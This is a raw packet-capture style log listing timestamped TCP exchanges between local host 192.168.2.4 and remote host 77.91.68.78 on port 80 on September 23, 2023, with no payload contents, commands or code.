Sep 23, 2023 17:53:34.574569941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574593067 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574628115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574670076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574707985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574789047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575170994 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575212002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.575237036 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575273991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.575318098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575356007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.575402975 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575440884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.575491905 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575529099 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.575552940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575591087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.575617075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.575654984 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.576049089 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.576093912 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.576117039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.576154947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.636482000 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.636524916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.636604071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.636640072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.636656046 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.636698008 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.636992931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637032986 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637109041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637164116 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637172937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637181997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637198925 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637217045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637371063 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637387037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637414932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637427092 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637516975 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637551069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637587070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637630939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637656927 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637692928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637779951 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637820959 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637857914 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637873888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.637906075 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.637916088 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638063908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638099909 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638123035 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638151884 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638159037 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638189077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638412952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638451099 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638504028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638540030 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638566971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638601065 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638638973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638674021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638675928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638711929 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638736010 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.638772011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.638983011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.639012098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.639024019 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.639094114 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.639108896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.639152050 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.639163017 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.639199018 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900299072 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900321007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900336027 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900352001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900393963 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900422096 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900440931 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900441885 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900441885 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900448084 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900450945 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900500059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.900945902 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900983095 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.900985003 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901024103 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901354074 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901391029 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901397943 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901427031 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901432991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901460886 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901494980 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901496887 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901530981 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901532888 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901566029 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901568890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901601076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901606083 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901637077 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901638985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901671886 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901679993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901707888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901711941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901745081 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901746035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901779890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901779890 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901814938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901822090 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901853085 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901912928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.901949883 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.901978016 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.902013063 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.902014971 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.902046919 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.902051926 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.902091026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.902333021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.902369022 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.902380943 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.902414083 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903147936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903194904 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903198957 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903232098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903240919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903270960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903301954 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903342962 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903376102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903412104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903417110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903450012 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903479099 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903513908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903515100 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903554916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903580904 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903620958 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903647900 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903682947 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903687000 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903722048 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903778076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903814077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.903876066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.903913975 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904082060 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904118061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904119968 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904158115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904216051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904252052 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904478073 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904519081 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904532909 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904568911 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904571056 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904608011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904635906 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904675007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904812098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904855013 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904858112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904896021 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.904903889 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.904946089 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.965285063 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.965342045 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.965361118 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.965384960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.965807915 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.965851068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.965873003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.965912104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.965975046 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966013908 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966058016 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966092110 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966098070 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966133118 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966160059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966196060 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966198921 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966232061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966294050 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966331959 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966360092 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966401100 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966425896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966464996 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966523886 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966564894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966651917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966691017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966731071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966769934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966798067 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966836929 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966872931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966907978 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.966916084 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.966944933 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967070103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.967109919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967144012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.967183113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967245102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.967283964 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967336893 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.967375040 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967421055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.967463017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967925072 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.967969894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.967987061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968028069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968075037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968117952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968458891 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968503952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968533039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968574047 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968579054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968621969 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968625069 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968666077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968672991 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968713999 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968719006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968760014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968786001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968825102 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968832016 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968873024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968878031 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968916893 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968924046 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.968965054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.968971968 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969012022 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969060898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969099998 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969106913 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969146967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969153881 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969191074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969202042 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969243050 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969248056 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969288111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969291925 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969332933 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969337940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969377041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969383001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969424963 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969428062 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969470024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969472885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969515085 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969520092 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969563007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969566107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969607115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969610929 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969651937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969655037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969700098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969707966 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969743967 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969747066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969784021 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969789028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969830990 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969835043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969876051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969882011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969922066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969926119 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.969968081 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.969973087 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970015049 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970020056 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970060110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970108032 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970149994 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970154047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970195055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970200062 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970251083 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970288992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970330000 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970333099 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970375061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970421076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970463037 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970506907 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970551014 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970554113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970591068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970596075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970637083 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970642090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970688105 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970693111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970729113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970731974 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970777035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970779896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970824957 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970828056 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970865965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970870018 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970911026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970913887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.970957041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.970961094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971003056 CEST	49827	80	192.168.2.4	77.91.68.78
